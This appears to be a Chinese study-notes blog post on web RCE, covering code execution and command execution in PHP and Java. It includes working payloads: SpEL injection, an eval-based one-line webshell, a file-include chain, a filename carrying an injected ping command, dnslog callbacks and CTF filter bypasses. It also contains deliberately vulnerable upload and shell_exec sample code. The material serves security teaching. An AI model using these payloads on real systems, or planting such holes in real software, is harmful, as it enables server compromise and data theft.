【Web攻防-20】RCE&代码执行&命令执行&无回显方案&语言表达式&黑盒功能点&白盒方法名

RCE分类与关系

RCE代码执行:引用脚本代码解析执行

与当前语言环境相关

功能点举例:在线编程

RCE命令执行:脚本调用操作系统命令

与当前操作系统有关

功能点举例:系统面板

关系

  • 代码执行 -> 命令执行代码里面调用执行系统命令
  • 命令执行 -> 代码执行使用命令调用环境变量执行文件中代码

漏洞函数

PHP

  • PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
  • PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

Python

eval exec subprocess os.system commands等

Java

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.


RCE-Java&PHP

java – SpEL框架

功能点举例:评论解析 – java-springframework-SPEL搭建

代码执行 – 将输入的内容当做java代码进行解析

post提交,执行“弹出计算器”命令

comment=T(java.lang.Runtime).getRuntime().exec('calc')

php – eval函数和system函数

将get获取的参数code解析为php代码执行

<?php
eval($_GET['code']);

访问/?code=phpinfo();等同于代码

<?php
eval(phpinfo());

eval作用是将后面的代码用当前的语言解析它 –> 代码执行

不可以直接使用 /?code=clac 执行系统命令调用计算器

命令执行使用system()函数

代码执行 –> 命令执行

<?php
system('calc');

访问/?code=system(‘calc’);等同于以上代码 — > 命令执行

命令执行 –> 代码执行

使用php解析执行包含执行系统命令的php文件

webshell后门工具原理

<?php
eval($_POST['code']);

把相关执行代码(文件操作等)写入到code参数发送出去,进行命令执行

eval() 执行代码 → 调用系统命令函数 → 控制服务器


其他漏洞引发链

文件包含、注入、文件上传、反序列化

文件包含触发rce

test.php — 文件包含一个可控的file值

<?php
$file=$_GET['file'];
include($file);

1.txt — 通过文件包含,传入x值执行任意代码或命令

<?php eval($_GET['x']);?>

注入触发rce

如sqlmap的 –os-shell 参数,注入后门脚本,系统命令执行

文件上传触发rce

如果文件上传后,服务器使用系统命令mv等进行了文件移动等操作,如果mv 后面的文件名可控

通过管道符等操作触发rce命令执行

如:将文件命名为 1.php & calc 这个整体后上传,重新组合mv命令

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
   $target_dir = "uploads/";
   $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
​
   // 这里使用系统命令 move 来移动文件,存在安全风险
   $cmd = "move " . $_FILES["fileToUpload"]["tmp_name"] . " " . $target_file;
   echo $cmd;
​
​
   if (exec($cmd)) {
       echo "<div class='container mx-auto py-10 text-center text-green-500 font-bold animate-fade-in'>文件 ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " 已成功上传。</div>";
  } else {
       echo "<div class='container mx-auto py-10 text-center text-red-500 font-bold animate-fade-in'>抱歉,文件上传失败。</div>";
  }
}
?>

上传一个文件 1.php & ping dnslog.com

反序列化造成rce


有回显&无回显

<?php
// 漏洞示例4:完全无限制的命令执行
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) {
echo '<div class="result">';
echo '<h4>命令执行结果:</h4>';
$cmd = $_POST['command'];
$output = shell_exec($cmd);
// echo "<pre>" . $output . "</pre>";
// echo '</div>';
}
?>

注释echo输出后即无回显

无回显-直接写个文件访问查看

无回显-直接进行对外访问接受

ping dnslog地址


黑盒发现

业务功能点

在线编程、系统面板

数据包中的参数

如: command

半自动工具burp-HaE

其他漏洞引发


白盒绕过 CTF

相关功能函数

29-通配符

过滤关键字flag,使用通配符*

system('tac fla*.php');

30-取代函数&通配符&管道符

cp把文件复制出一份其他命名或

函数shell_exex效果等同于system

cp fla*.ph* 2.txt;

echo shell_exec('tac fla.ph');

31-参数逃逸

参数过滤了c,传参1,把关键代码写在1后面就行

eval($_GET[1]);&1=system('tac flag.php');

32~36-配合包含&伪协议

rce –> 文件包含 –> 伪协议

include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含RCE&伪协议&通配符

data://text/plain,<?php system('tac fla*');?>

php://input post:<?php system('tac flag.php');?>

案例

沙箱绕过&容器逃逸 — 云安全&免杀

绝大部分服务架设在沙箱&容器里

使用相关代码反弹shell到公网服务器上


本节知识点

WEB攻防-RCE-代码执行&命令执行

WEB攻防-RCE-黑盒功能点&数据包

WEB攻防-RCE-白盒函数方法&组件

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇